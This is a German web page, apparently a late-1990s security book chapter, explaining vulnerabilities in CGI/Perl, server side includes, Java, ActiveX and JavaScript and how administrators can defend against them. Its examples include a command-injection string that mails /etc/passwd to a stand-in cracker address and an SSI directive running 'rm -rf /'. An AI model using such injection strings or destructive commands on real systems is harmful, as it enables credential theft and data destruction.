Home Nach oben Feedback Inhalt Suchen AGB

 Sprachen
Hacker und Cracker Krieg im Internet Sicherheitslöcher Wer ist anfällig? Trojanische Pferd Analyse Tools Microsoft Sicherheit Anonyme Passwort Cracker Destruktive Programme Angriffstufen Sniffer Sprachen Glossar Telnet Linux und Unix Open Source

Besuchen Sie jetzt unseren Online Shop www.tos.mynetcologne.de ..::..::..::..::..Schauen Sie mal unsere Service Produkte und unsere Service Angebote an es LOHNT sich.... ..::..::..::..::..

[Under Construction]

              

 

 

 

Computersprachen, und Sicherheit

Welchen Einfluss hat der Einsatz bestimmter Sprachen und Erweiterungen auf die Sicherheit eines Systems.

 

Das World Wide Web wächst

Als das Web populär wurde, waren seine Seiten noch statisch und dienten der reinen Darstellung von Informationen. Die meisten Seiten enthielten wissenschaftliche Informationen oder Werbematerial.

Seitdem hat das WWW an Funktionalität gewonnen. Technologien wie das Common Gateway Interface (CGI) und Java haben die Art und Weise, wie wir das Internet nutzen, drastisch verändert. Heute ist das Web ein Kanal für Datenbankintegration, elektronischen Datenaustausch (EDI), E-Commerce und sogar Videokonferenzen.

Viele dieser Technologien beruhen auf neuen Sprachen und Erweiterungen. Mit Hilfe solcher Tools kann man Webseiten noch mehr Funktionalität verleihen und die Nutzung für den Anwender interessanter und interaktiver gestalten.

Diese Situation hat den Wettbewerb auf dem Gebiet der Software-Entwicklung weiter verschärft. Um ihre Tools so schnell wie möglich auf den Markt bringen zu können, haben viele Firmen übersehen, dass ihre Produkte Sicherheitslücken beinhalten. In diesem Kapitel möchte ich solche Schwachstellen ansprechen und Ihnen zeigen, wie Sie sich schützen können.

Dabei geht es um folgende Themen:

  • CGI- Programmierung 
  • Die Programmiersprache Java 
  • Script-Sprachen

CGI und Sicherheit

CGI ermöglicht Web-Servern die Weitergabe von Informationen an Web-Clients über die reine Wiedergabe von Text oder HTML-Dateien hinaus. Dafür können fast alle gängigen Programmiersprachen benutzt werden. Die am häufigsten für CGI- Programmierung verwendeten Sprachen sind:

  • Perl 
  • Die Shell-Sprachen 
  • TCL 
  • Python

Normalerweise beinhalten CGI- Aufgaben die Abfrage von Datenbanken, die Anzeige von Statistiken und die Ausführung von WHOIS- oder FINGER-Abfragen über ein Web-Interface (obwohl Sie theoretisch fast jede netzwerkbasierte Abfrage mit CGI durchführen können).

CGI-Programme laufen immer auf dem Server, und aus diesem Grund stellen sie eine hohe Belastung für das Netzwerk dar. Da es durch CGI außerdem zu Sicherheitsgefährdungen kommen kann, erlauben viele Internet Service Provider ihren Benutzern die Verwendung von CGI gar nicht erst.

Je nach Ihrer Konfiguration können diese Sicherheitsprobleme durch CGI durchaus ernster Natur sein. Wenn ein Cracker eine CGI- Sicherheitslücke erfolgreich ausnutzt, kann er Befehle mit der Benutzerkennung des Webservers ausführen. Bei vielen Default-Konfigurationen läuft HTTPD als root, und das kann ein kritisches Problem darstellen.

Im nächsten Abschnitt behandeln wir die Sicherheitsprobleme von CGI, die sich auf die Programmiersprache Perl beziehen.

 

Perl (Practical Extraction and Report Language)

Perl ist die bei weitem beliebteste Sprache für die CGI-Programmierung. Das hat mehrere Gründe:

  • Perl verfügt über leistungsfähige Möglichkeiten zur Textformatierung. 
  • Perl ist leicht zu erlernen. 
  • Perl ist klein. 
  • Perl ist umsonst.

Außerdem ähneln Syntax, Funktionen und Methoden von Perl denen von SED, AWK, C und den Shell-Sprachen. Deshalb ist Perl bei Unix-Programmierern sehr beliebt.

 

Die Sicherheit von Perl

Die Sicherheit von Perl ist ziemlich gut; es sind die Programmierer, die Sicherheitslöcher verursachen. Im folgenden Abschnitt werden diese Sicherheitslöcher beschrieben, und wie man sie vermeidet.

Der Systemaufruf

Ein Sicherheitsproblem ist der Systemaufruf. Sie geben Perl mit Hilfe eines Systemaufrufs die Anweisung, einen nativen Befehl des Betriebssystems auszuführen. Hier ist ein Beispiel:

system("grep $user_input /home/programmer/my_database");
 

Dies veranlaßt grep, die Datei my_database nach Übereinstimmungen mit der vom Benutzer eingegebenen Zeichenfolge $user_input zu durchsuchen.

Systemaufrufe wie dieser sind gefährlich, weil Sie nie voraussehen können, was der Benutzer machen wird. Die meisten Benutzer geben eine Zeichenfolge ein, die korrekt ist (oder von der sie zumindest denken, dass sie korrekt ist). Cracker gehen jedoch anders vor. Ein Cracker versucht, die Schwächen Ihres Scripts herauszufinden. Dazu gibt er Zeichenfolgen ein, die zur Ausführung weiterer Befehle vorgesehen sind.

Nehmen wir einmal an, Sie hätten den obigen Systemaufruf in Ihrem Script stehen und keinen Mechanismus zur Filterung unerlaubter Zeichenfolgen vorgesehen. Dann könnte der Cracker auf einfache Weise Befehle an die Shell leiten, indem er seinen Eingaben bestimmte Metazeichen anfügt.

Die meisten Shell-Interpreter (einschließlich command.com von MS-DOS) stellen eine Möglichkeit zur Ausführung sequentieller Befehle zur Verfügung. Dazu schreibt man die Befehle einfach durch Metazeichen getrennt hintereinander.

Wenn Sie keinen Mechanismus einfügen, der jede ankommende Zeichenkette filtert, kann ein Cracker diese Metazeichen verwenden, um zusätzliche Befehle auf die Argumentliste zu schieben. Das klassische Beispiel dafür ist:

user_string;mail bozo@cracking.com </etc/passwd
 

Die Datei /etc/passwd wird per E-Mail an den Cracker gesendet. Das funktioniert, weil das Semikolon den Interpreter anweist, den Mail-Befehl auszuführen, nachdem die grep-Suche beendet ist.

Sie sollten möglichst verhindern, dass Benutzer überhaupt Zeichenketten eingeben können, in die sie Befehle einbauen könnten. Es gibt viele Wege, das zu umgehen. Sie könnten z.B. Optionsfelder, Auswahllisten oder andere Objekte einfügen, die nur angeklickt werden müssen. Wenn Sie den Benutzer zwischen mehreren Optionen wählen lassen, haben Sie eine viel größere Kontrolle darüber, was an STDIN eingelesen wird.

Tipp:

Selbst wenn Sie Optionsfelder oder Auswahllisten verwenden, benötigen Sie eine Überprüfungsroutine. Der Grund ist folgender: Cracker können Kommandozeilen-Abfragen konstruieren, in denen sie Ihren Formularfeldern beliebige Werte zuweisen. Wenn Sie diese Werte nicht überprüfen, kann es immer noch passieren, dass bösartiger Code an Ihren Server gesendet wird.

Eine Überprüfungsroutine einzubauen, ist recht einfach. Sie können im Handumdrehen aufeinanderfolgende IF-NOT-Blöcke erzeugen. Das sieht zum Beispiel so aus:

if($formular_inhalt{'option 1'} ne "erste_option") {
if($formular_inhalt{'option 1'} ne "zweite_option") {
print "Unzulässiger Wert\n";
exit;
}
}

 

Eine weitere Lösung (wenn Sie unbedingt Systemaufrufe verwenden wollen) ist, alle Sonderzeichen in dem Aufruf in Escape-Zeichen einzuschließen. Dann würde der folgende Befehl

system("grep $user_input /home/programmer/my_database");
 

statt dessen so aussehen:

system("grep \"$user_input\" /home/programmer/my_database");
 

Noch eine Lösung (die zwar einfacher, aber vielleicht weniger wünschenswert ist) wäre die Überprüfung der Benutzereingaben, bevor diese weitergeleitet werden. Es gibt mehrere Möglichkeiten:

  • Unterbinden Sie Benutzereingaben, die Metazeichen enthalten. Das geschieht normalerweise durch Festlegung von Regeln, die nur Wörter zulassen, wie bei ~ tr/^[\w ]//g 
  • Verwenden Sie taintperl. Es unterbindet die Weiterleitung von Variablen an Script-Systemaufrufe durch system() oder exec(). taintperl kann bei Perl 4 durch /usr/local/ bin/taintperl aufgerufen werden, und bei Perl 5 durch Verwendung der Option -T beim Aufruf von Perl (wie bei #!/usr/bin/local/perl -T).

Das Problem der Systemaufrufe ist nicht auf Perl beschränkt, sondern kann in jeder Programmiersprache auftreten, auch in C. Eugene Eric Kim, Autor von Programming CGI in C, schreibt dazu folgendes:

Bei in C abgefaßten CGI-Programmen stellen C-Funktionen, die einen Bourne-Shell- Prozeß (z.B. system() oder popen()) einleiten, eine ernste potentielle Sicherheitslücke dar. Wenn Sie Benutzereingaben in eine dieser Funktionen erlauben, ohne vor die Sonderzeichen jeweils ein Escape-Zeichen zu setzen, kann ein böswilliger Benutzer Ihr System gefährden, indem er spezielle, für die Shell reservierte »Metazeichen« verwendet.

Tipp:

 

Programming CGI in C von Eugene Eric Kim finden Sie im Web unter http://www.eekim.com/pubs/cgiinc/index.html

Ich empfehle Ihnen Kims neuestes Buch, CGI Developer's Guide (Sams.net). Kapitel 9, »CGI Security: Writing Secure CGI Programs«, gibt einen ausgezeichneten Überblick über CGI-Sicherheit. Kim spricht viele Szenarien an, denen Sie begegnen könnten:

  • Puffer-Überläufe 
  • Shell-Metazeichen 
  • Shell-Mißbräuche

 

Skripte im privilegierten Modus ausführen

Skripte im privilegierten Modus auszuführen, ist ein weiterer verbreiteter Fehler. Er ist sogar so verbreitet, dass Perl über eingebaute Sicherheitsvorkehrungen dagegen verfügt. Ein Beispiel ist die Behandlung von setuid-Skripte (solche, die spezielle Privilegien voraussetzen, um ausgeführt werden zu können):

Wenn Perl ein setuid-Skript ausführt, werden spezielle Vorsichtsmaßnahmen getroffen, die verhindern, dass Sie in eine der offensichtlichen Fallen tappen. (In mancher Hinsicht ist ein Perl-Skript sicherer als das entsprechende C-Programm.) Jedes Kommandozeilenargument, jede Umgebungsvariable oder Eingabe wird als »unsicher« gekennzeichnet und darf - ob direkt oder indirekt - in keinem Befehl verwendet werden, der eine Subshell aufruft oder Dateien, Verzeichnisse oder Prozesse modifiziert. Jede Variable, die innerhalb eines Ausdrucks gesetzt wird, der zuvor einen unsicheren Wert referenziert hat, wird ebenfalls unsicher (sogar wenn es aus logischer Sicht eigentlich unmöglich ist, dass der unsichere Wert diese Variable beeinflussen kann).

Sie sollten dennoch niemals Skripte im privilegierten Modus ausführen; und ich bin nicht der einzige, der Ihnen dies raten wird. Lincoln Stein, Autor des WWW Security FAQ, gibt folgenden Rat:

Als erstes sollten Sie sich fragen, ob es wirklich nötig ist, dass Ihr Perl-Skript suid ausgeführt wird. Dies stellt aus folgendem Grund eine Gefahr dar: Wenn Sie Ihrem Skript mehr Privilegien geben als der Benutzer »nobody« hat, erhöht dies auch die potentiellen Schäden, die ein mißbräuchlich verwendetes Skript hervorrufen kann. Wenn Sie beabsichtigen, Ihrem Skript Root-Privilegien zu geben, sollten Sie sich das sehr gut überlegen.

Tipp:

Den WWW Security FAQ von Lincoln D. Stein finden Sie unter http://www-genome.wi.mit.edu/WWW/faqs/wwwsf5.html

 

Erzeugen von Dateien

Wenn Ihre CGI-Programme Dateien erzeugen, sollten Sie die folgenden Regeln einhalten:

  • Schränken Sie das Verzeichnis ein, in dem die Datei erzeugt wird. Dieses Verzeichnis sollte von allen Systemverzeichnissen isoliert werden und von Orten, an denen solche Dateien leicht gefunden, manipuliert und zerstört werden können (mit anderen Worten sollten Sie niemals ein Verzeichnis wie /tmp verwenden). 
  • Setzen Sie die Dateiberechtigungen so restriktiv wie möglich. Wenn die Datei ein Dump einer Benutzereingabe ist, wie z.B. eine Besucherliste, sollte diese Datei nur für Sie lesbar sein und für die Prozesse, die mit dieser Datei zu tun haben werden. (Schränken Sie z.B. die Prozesse darauf ein, der Datei weitere Informationen anzuhängen). 
  • Sorgen Sie dafür, dass der Dateiname keine Metazeichen enthält. Wenn die Datei dynamisch erzeugt wird, sollten Sie eine Überprüfungsroutine integrieren, die solche Zeichen aussiebt.

Tipp:

Sie sollten außerdem die UMASK für die erzeugten Dateien auf 022 setzen. Das hindert andere daran, in diese Dateien zu schreiben.

 Server Side Includes (SSI)

Server Side Includes können automatisch Dokumente oder andere Objekte in eine Webseite einfügen, indem sie diese Elemente von der lokalen Festplatte aufrufen.

Dokumente können per SSI auf folgende Weise aufgerufen werden:

<!--#include file="mybanner.html"-->
 

Das scheint eine nützliche Funktion zu sein. Ein SSI könnte jedoch auch leicht folgendermaßen aussehen:

<!--#exec cmd=" rm -rf /"--> (Lösche alle Dateien.)
 

Wenn dieses SSI geparst wird und Httpd als root läuft, wird Ihre gesamte Festplatte gelöscht.

Die meisten Web-Administratoren deaktivieren SSI. Wenn Ihr Server sie parst, seien Sie gewarnt. Sie sollten beim Schreiben von CGI-Scripts eine Routine einbauen, die SSIs ausfiltert.

Tipp:

Sie können das Parsen von cmd-Verzeichnissen bei NCSA und Apache deaktivieren, indem Sie die folgende Zeile in Ihre access.conf einfügen:
Options IncludesNoExec

Tipp:

Dieser Rat gilt nicht nur für Unix-basierte Server. Viele Web-Server-Pakete unterstützen SSI, unter anderem auch der NetWare Web Server. (Um SSI auf dem NetWare Web Server zu deaktivieren, ändern Sie diese Option in dem Administrations-Tool.)

Tipp:

Das Perl-ladbare Modul (Perl.NLM) hat in NetWare 4.1 und IntranetWare eine Sicherheitslücke. Entfernte Angreifer können diese Lücke ausnutzen, um beliebigen Code auf Ihrem Server auszuführen. Das ist ein ziemlich ernstes Sicherheitsloch. Mehr darüber erfahren Sie unter http://www.dhp.com/~fyodor/sploits/netware.perl.nlm.html

 

Java

Als Java herauskam, ging eine Welle der Aufregung durch das gesamte Internet. Die Programmierer waren fasziniert von der Aussicht auf eine plattformunabhängige Sprache, und das zu Recht. Die Entwicklung von Hybridanwendungen ist schwierig, fehleranfällig und teuer. Alles, was diese Probleme lindern könnte, wird deshalb mit offenen Armen empfangen.

Vor diesem Hintergrund bedeutete Java einen wunderbaren Fortschritt. Außerdem war Java für die Web-Entwicklung optimiert. Programmierer nutzten diese Funktionalität rasch zur Erstellung lebendiger Multimedia-Anwendungen für die WebBrowser-Umgebung.

Es dauerte jedoch nicht lange, bis die neue Programmiersprache in Verdacht geriet, Sicherheitsgefahren zu bergen. Nach und nach wurden mehrere schwere Sicherheitslücken bekannt. Im folgenden Abschnitt will ich auf diese Lücken kurz eingehen.

Warum das Theater?

Die welterschütternden Neuigkeiten über die Java-Sicherheit kamen aus dem Fachbereich Informatik der Princeton University. Drew Dean, Edward W. Felten und Dan S. Wallach leiteten die Untersuchungen.

Der Kopf der Gruppe, Felten, war seit 1993 Informatik-Dozent an der Princeton University und hatte 1994 die Forschungsauszeichnung National Young Investigator erhalten. Er arbeitete mit den beiden Informatik-Absolventen Dean und Wallach daran, Sicherheitslöcher in Java zu finden.

Das Felten- Team identifizierte die folgenden Probleme:

  • Denial-of-Service-Attacken konnten auf zweierlei Art ausgeführt werden. Die erste Methode war, bestimmte interne Bestandteile der Netscape- und HotJava-Browser zu blokkieren und dadurch weitere Host-Abfragen über DNS zu verhindern. Die zweite Methode erzwang eine übermäßige Auslastung von CPU und RAM, so dass der Browser zum Erliegen kam. Außerdem konnte der Ursprung der Attacke verschleiert werden, da der bösartige Code Minuten oder sogar Stunden später ausgeführt werden konnte. So konnte ein Benutzer theoretisch die betreffende Seite um 11.00 Uhr vormittags aufsuchen, aber die Auswirkungen würden sich erst am späten Nachmittag zeigen. 
  • Die Proxies der Browser konnten zum Absturz gebracht werden, und der DNS-Server des Systems konnte mit Hilfe eines bösartigen Java-Applets beliebig bestimmt werden. Das heißt, dass die DNS-Abfragen des Opfers zu einem nicht vertrauenswürdigen DNS-Server umgeleitet werden konnten, der falsche Informationen über Hostnamen liefern würde. Das konnte zu einer Offenlegung des Root-Account führen (wenn der Operator des angegriffenen Rechners dumm genug war, als root im Web zu surfen). 
  • Mindestens ein Java-fähiger Browser konnte in ein Windows-Dateisystem schreiben. Bei allen Versionen konnte Java Umgebungsvariablen herausziehen, Benutzerdaten ausspionieren und Informationen darüber sammeln, welche Seiten ein Benutzer besucht hatte. Außerdem hatte Java auch mehrere Pufferüberlauf-Probleme.

Die Reaktionen der Öffentlichkeit waren natürlich sehr negativ. Die Sache wurde noch dadurch verschlimmert, dass, selbst nachdem Sun und Netscape einen Fix herausgebracht hatten, viele der ursprünglichen Probleme immer noch vorhanden und durch andere Angriffsarten ausnutzbar waren.

Tipp:

Das Dokument des Felten-Teams heißt »Java Security: From HotJava to Netscape and Beyond«. Sie finden es unter http://www.cs.princeton.edu/sip/pub/secure96.html

Von da an wurde Java sehr sorgfältigen Prüfungen unterzogen, und mehrere weitere Probleme wurden identifiziert.

Zum Beispiel gelangte Java ungehindert durch Firewalls. Daher wurde die Theorie aufgestellt, dass bösartige Applets die Firewall- Sicherheit untergraben könnten. Die Java-Befürworter hielten entrüstet dagegen, dass ein solcher Angriff nicht möglich sei. Beide Seiten wurden jedoch durch ein Dokument mit dem Titel »Blocking Java Applets at the Firewall« zum Schweigen gebracht.

Die Autoren demonstrierten darin nämlich eine Methode, mit der ein Java- Applet eine Firewall dazu bringen konnte, beliebige, normalerweise eingeschränkte Ports für den Host des Applets zu öffnen. Mit anderen Worten konnte ein solches Applet den grundlegenden Zweck und die Funktion einer Firewall komplett umgehen.

Tipp:

»Blocking Java Applets at the Firewall« von David M. Martin jr., Sivaramakrishnan Rajagopalan und Aviel D. Rubin finden Sie im Web  unterhttp://www.cs.bu.edu/techreports/96-026-java-firewalls.ps.Z

Hier sind ein paar neuere Sicherheitslöcher, die für Sie interessant sein dürften:

  • IE4 und Active Desktop. Ein Java- Applet, das IE4 mit dem Active Desktop gefährden kann, hat weite Verbreitung gefunden. Das Applet kann auf den Desktop oder andere Fenster schreiben. (Es kann auch eine DoS-Attacke verursachen, indem es die Prozessorauslastung auf 90% treibt.) Den Quellcode und eine Erklärung finden Sie hier: http://www.focus-asia.com/home/tjc/ghosting/ 
  • Java kann bei Windows 95 einen Reboot erzwingen. Es ist ein Applet in Umlauf, das einen Windows-95-Rechner zum Absturz bringen kann. Das funktioniert beim Netscape Communicator 4.x.

Tipp:

Wenn Sie die Online-Demo ausprobieren wollen, sollten Sie unbedingt vorher Ihre Arbeit sichern. Ihr Rechner wird nämlich abstürzen.

Den Quellcode finden Sie hier: http://geek-girl.com/bugtraq/1998_1/0091.htmldie Online-Demo ist hier: http://home1.swipnet.se/~w-10867/fork/fl00d.htm

  • CLASSPATH-Attacken. Vor kurzem hat man entdeckt, dass, wenn Klassen an den CLASSPATH angefügt werden können, Login-Informationen an einen nicht vertrauenswürdigen Server umgeleitet werden können - sogar wenn auf dem vorgesehenen (und vertrauenswürdigen) Zielserver SSL läuft. Weitere Informationen finden Sie hier: http://geek-girl.com/bugtraq/1997_4/0055.%20html
  • Applets können sich selbst signieren. JDK 1.1.1 erlaubt die Ausführung von vertrauenswürdigen, digital signierten Applets. An der Princeton-Universität haben Forscher jedoch herausgefunden, dass ein Applet eine Liste vertrauenswürdiger Benutzer erzeugen kann. Aus dieser Liste kann es sich dann einen aussuchen und sich selbst als von diesem Benutzer signiert kennzeichnen. Weitere Einzelheiten dazu finden Sie hier: http://www.cs.princeton.edu/sip/news/april29.html
  • Privatsphären-Verletzung bei Netscape 4.x. Java und JavaScript können sich die nächste Seite greifen, die Sie besuchen. Wenn Sie dort Daten in ein Formular eingeben, werden diese Daten abgefangen und an einen anderen Server weitergeleitet. Sie können es auf dieser Seite selbst ausprobieren: http://www.iti.gov.sg/iti_people/iti_staff/kcchiang/bug/
  • Java kann die IPs von Hosts hinter einer Firewall herausfinden. Bei Netscape 3 und 4 (und IE 3 und 3.01) kann Java die IP-Adresse und den Hostnamen Ihres Rechners herausbekommen. (Das ist ein Problem, da IP- Adressen hinter einer Firewall abgeschirmt sein sollten.) Einzelheiten darüber finden Sie hier: http://www.alcrypto.co.uk/java/

Tipp:

Diese Sicherheitslöcher sind alle relativ neu, und die meisten gelten für neuere Java-Implementierungen. Sie sollten jedoch wissen, dass Sie durch mehrere Dutzend Attacken verletzbar sein können, wenn Sie ältere Java-Implementierungen verwenden.

Nun aber zu den positiven Seiten von Java. Es verfügt nämlich auch über mehrere Sicherheitsmechanismen, die ein Lob verdienen.

Das Sicherheitsmodell von Java beruht größtenteils auf etwas, das der Java-Sandkasten (sandbox) genannt wird. Das ist ein Bereich, der für die Ausführung von nicht vertrauenswürdigem Code reserviert ist. Jeder Code wird innerhalb des Sandkastens in einem Web- Browser ausgeführt, und eine Klasse mit Namen SecurityManager erzwingt dort die Einhaltung strikter Sicherheitsrichtlinien.

Der SecurityManager kontrolliert den Zugriff auf alle Systemressourcen, darunter folgende:

  • Dateien 
  • Verzeichnisse 
  • Sockets 
  • Threads

Theoretisch hat der Code keine Möglichkeit, aus dem Sandkasten herauszukommen (oder die SecurityManager- Einschränkungen zu umgehen), und deshalb können in Browsern ausgeführte Applets nicht auf Systemressourcen zugreifen. Dieses Sicherheitsmodell ist sehr viel sicherer als das von Microsofts ActiveX verwendete Modell.

Tipp:

Obwohl der Sandkasten eine gute grundlegende Sicherheit bietet, sind einige Fortschritte bei dem Versuch gemacht worden, den SecurityManager zu umgehen. Sie konnten zwar bei früheren Netzwerk-Versionen z.B. nicht direkt aus dem Sandkasten ausbrechen, aber dennoch war es möglich, SecurityManager zu umgehen, indem man die Klasse als leer reinitialisierte. Einige interessante Informationen zu dieser Technik finden Sie unter http://www.cs.utah.edu/~gback/netscape/bypass.html

Über das Schema von Sandkasten und SecurityManager hinaus bietet Java eine erweiterte Zugriffskontrolle auf Benutzer-, Datei-, Verzeichnis- und Socket- Ebene. In Tabelle 1.1 sind diese Sicherheitsklassen aufgeführt.

Tabelle 1.1: Java-Sicherheitsklassen für Berechtigungen
Klasse Zweck
java.security.Permission
 
Der Großvater aller Berechtigungen. (Alle folgenden Klassen sind Unterklassen dieser Klasse.)
java.io.FilePermission
 
Manipuliert Datei- und Verzeichnisberechtigungen. Sie können alle herkömmlichen Berechtigungen spezifizieren, wie Lesen, Schreiben, Ausführen, Löschen usw.
java.net.SocketPermission
 
Ermöglicht Ihnen, den Zugriff auf einen Socket zu spezifizieren. Sie können diesen Zugriff beschränken, indem Sie die Möglichkeit zum Akzeptieren, Verbinden, Lauschen oder Auflösen gewähren oder verweigern.
 

Die Sicherheit von Java ist durch die Einführung von Verschlüsselungsroutinen sogar noch weiter verbessert worden. Java unterstützt nun alle folgenden Algorithmen:

  • RSA 
  • MD5 
  • DES

Die Klasse java.security.Signature stellt die Funktionalität digitaler Signaturen durch Verwendung eines beliebigen dieser drei Algorithmen zur Verfügung. Mehr über diese Funktionalität erfahren Sie in Java Cryptography Architecture API Specification and Reference , das Sie hier finden:

http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html

Sie fragen sich jetzt vielleicht, ob Java denn nun sicher ist oder nicht. Das Fazit lautet: Java hat eine unendlich höhere Sicherheit als ActiveX. Darüber hinaus hat Sun sich enorm bemüht, einige sehr fortschrittliche Sicherheitsmerkmale in Java zu integrieren. Ich halte Java für sicherer als Perl.

Dennoch empfehle ich Ihnen, Java an der Firewall zu filtern, und zwar aus folgendem Grund: Wir haben die Cracker-Gemeinde bislang noch nicht wirklich mit Java arbeiten sehen. Das kann deshalb so sein, weil Java schwieriger zu lernen ist als C oder Perl, die traditionellen Lieblingssprachen von Crackern. Außerdem - und das ist ein ganz wichtiger Punkt - sind Java-Attacken normalerweise Serverbasiert. Es ist kein Problem, Java-Attacken zu erzeugen und sie zu Forschungszwecken zu testen. Im wirklichen Leben würden Angriffe von einem Server jedoch schnell entdeckt werden, und der Eigentümer würde sich in einer schwierigen Lage befinden.

Das kann sich jedoch ändern. Java ist von seinem Wesen her so auf die Netzwerkprogrammierung ausgerichtet, dass wir schließlich Angriffe erleben könnten, die über Standardleitungen implementiert werden (d.h. ohne dass ein Server involviert wäre).

 

ActiveX

Keine Sprache oder Erweiterung bietet mehr Server-zu-Client-Funktionalität als die ActiveX-Technologie von Microsoft (solange die Client-Umgebung Microsoft-zentriert ist). Mit ActiveX entwickelte Webseiten bieten oft eine phänomenale Funktionalität, die in eine benutzerfreundliche Oberfläche eingepackt ist. Eigentlich schade drum, denn man kann mit Recht behaupten, dass ActiveX die größte Sicherheitsbedrohung des Internet darstellt, die es jemals gegeben hat.

Ein 1997 von Ellen Messmer von Network World verfaßter Artikel faßt alles zusammen, was Sie über die Sicherheit von ActiveX wissen müssen:

Wie viele Unternehmen, verläßt sich auch Lockheed Martin auf die Technologien von Microsoft. Aber wenn es um das firmeneigene Intranet geht, sieht man dennoch davon ab, ActiveX einzusetzen, einen Eckpfeiler der Web-Technologien Microsofts. Der Grund? ActiveX kann Virusschreibern und Hackern einen perfekten Zutritt zum Netzwerk verschaffen. »Sie können ein ActiveX-Applet herunterladen, das ein Virus ist, der größeren Schaden anrichten könnte«, erläutert Bill Andiario, technischer Leiter für Web-Initiativen bei Lockheed Martin Enterprise Information Systems, dem Geschäftsbereich Informationssysteme der Firma. »Oder es könnte sich Ihre geschützten Informationen greifen und an einen Konkurrenten weiterleiten, oder noch schlimmer, in ein anderes Land.«

Diese Ängste von Unternehmen sind durchaus berechtigt. Fragen Sie einmal den Chaos Computer Club, eine Gruppe von Hackern in Hamburg. Der CCC hat im Februar 1997 der ganzen Welt die Sicherheitsmängel von ActiveX demonstriert:

Im deutschen Fernsehen hat [der CCC] ein ActiveX-Steuerelement demonstriert, das in der Lage ist, sich Geld von einem Bankkonto zu schnappen und einem anderen gutzuschreiben, und all das ohne die Verwendung der PIN-Nummer, die eigentlich dafür vorgesehen ist, solche Diebstähle zu verhindern.

Tipp:

Der obige Text stammt ursprünglich aus einem Artikel mit Namen »ActiveX Used as Hacking Tool«. Er stammt von Nick Wingfield (CNET) und Sie finden ihn unter folgender Adresse: http://www.news.com/News/Item/0,4,7761,4000.html

Spätestens seit diesem Vorfall sprach sich herum, dass ActiveX absolut unsicher ist. Firewall- Administratoren verlangten sofort nach Tools, die ActiveX ausfiltern können.

Tipp:

Die Chronologie der CCC-Eskapade finden Sie unter http://www.iks-jena.de/mitarb/lutz/security/activex.html

 

Was ist das Problem von ActiveX?

Das Problem von ActiveX wurde von den Leuten bei JavaSoft prägnant zusammengefaßt:

ActiveX... ermöglicht die Ausführung von beliebigem Binärcode. Eine bösartige ActiveX-Komponente kann geschrieben werden, um Dateien auf der lokalen Festplatte eines Benutzers zu verändern oder zu löschen, oder um Verbindungen mit anderen Computern herzustellen, ohne dass der Benutzer dies merkt oder dem zustimmt. Außerdem besteht immer das Risiko, dass eine an sich harmlose ActiveX- Komponente mit einem Virus behaftet sein könnte. Leider können Viren genauso leicht verschlüsselt werden wie gewöhnlicher Code.

Das ist ein kritisches Problem, und zwar aus folgenden Gründen:

  • Die wenigsten Microsoft-Anwender verwenden Windows NT. 
  • Eine beträchtliche Anzahl von Windows- NT- Benutzern verwendet NTFS nicht.

Die nicht auf NTFS beruhenden Microsoft-Umgebungen haben kein richtiges Dateiberechtigungsschema oder eine wahlweise Zugriffskontrolle. (Das ist bei allen Novell-NetWare- und Unix-Umgebungen anders.) Daher kann ein bösartiges ActiveX-Steuerelement nicht nur den Verzeichnisraum eines einzelnen Benutzers beschädigen, sondern ein gesamtes Netzwerk.

Microsofts Reaktion auf den CCC-Vorfall war unbefriedigend. Man behauptete, diese Sache hätte nur eines bewiesen: dass Sie keinen unsignierten Code akzeptieren sollten. Es ist jedoch aufgrund seiner zugrundeliegenden Technologie fraglich, ob ActiveX jemals so eingeschränkt wird, dass es nicht mehr auf Ihre Festplatte zugreifen kann. Im Grunde ist ActiveX nämlich nichts anderes als ein weiterentwickeltes OLE.

OLE (Object Linking and Embedding) ist eine Technologie, die mit zusammengesetzten Dokumenten arbeitet, d.h. Dokumenten, die verschiedene Arten von Daten enthalten. Vor OLE wurden Datenelemente verfälscht, wenn sie aus ihrer Ursprungsanwendung entnommen und in eine andere eingefügt wurden. (Sie passten sich der Umgebung der Host-Anwendung an.) Zum Beispiel wurden beim Einfügen eines Spreadsheets in eine Textverarbeitung die Daten durcheinander gebracht. Bei OLE behalten diese Objekte (eingebettete Objekte genannt) ihren ursprünglichen Zustand.

Jedes Mal, wenn Sie ein eingebettetes Objekt bearbeiten, wird die ursprüngliche Anwendung aufgerufen, so dass die Bearbeitung in der Ursprungsumgebung des Elements vorgenommen werden kann. Zum Beispiel wird Excel aufgerufen, wenn Sie ein Excel-Arbeitsblatt bearbeiten wollen, das in ein Word-Dokument eingebettet ist. (Im Gegensatz zu DDE ist dieser Austausch zwischen der aktuellen und der ursprünglichen Anwendung für Benutzer dabei nicht sichtbar.)

Die Sicherheitsprobleme sind offensichtlich. Wenn ein ActiveX-Steuerelement sich als ein Element ausgeben kann, dass von einer bestimmten Anwendung erzeugt worden ist, kann es den Start einer Instanz dieser Anwendung auslösen. Nachdem die Anwendung gestartet wurde, kann sie von der ActiveX- Komponente »ferngesteuert« werden. Das passiert transparent, d.h. für den Benutzer nicht sichtbar. Man kann folgendes Fazit ziehen: Lassen Sie kein ActiveX durch Ihre Firewall oder Ihren signierten oder unsignierten Code. (Sie können, wenn Sie wollen - obwohl ich Ihnen dringend davon abraten würde - der Person vertrauen, die den Code signiert hat.)

 

Script-Sprachen

Schließlich gibt es noch die Script-Sprachen. Script-Sprachen werden ausschließlich in Web-Browser-Umgebungen verwendet. Es gibt zwei von Belang:

  • JavaScript 
  • VBScript

Wir wollen uns beide kurz ansehen.

 

JavaScript

JavaScript wurde von der Netscape Communications Corporation für die Netscape-Navigator/Communicator- Umgebung entwickelt (und in geringerem Maße für andere Browser, die es unterstützen).

JavaScript ist keine Compiler-Sprache, verwendet keine Klassen-Bibliotheken und wird im allgemeinen in HTML eingebettet (obwohl Server-seitiges JavaScript sich auch in *.JS- Quelldateien befinden kann).

Eigenständige Anwendungen können mit JavaScript nicht entwickelt werden, aber man kann sehr komplexe Programme schreiben, die innerhalb der Netscape-Navigator-Umgebung laufen können.

Bei den frühen Versionen von JavaScript und Navigator gab es einige ernste Sicherheitsprobleme. Ein Entwickler fand sogar heraus, wie man JavaScript verwenden konnte, um auf die Festplatte eines Benutzers zu schreiben. Die meisten dieser Probleme gab es in Navigator 2.0 (JavaScript 1.1) und früheren Versionen, und sie sind nicht mehr von Bedeutung.

Die Sicherheitsprobleme von JavaScript waren in der Vergangenheit relativ unbedeutend. Zum Beispiel konnte folgendes passieren:

  • Böswillige Webmaster konnten verfolgen, welche Seiten Sie im Internet aufsuchten. 
  • Böswillige Webmaster konnten Denial-of-Service-Attacken hervorrufen. 
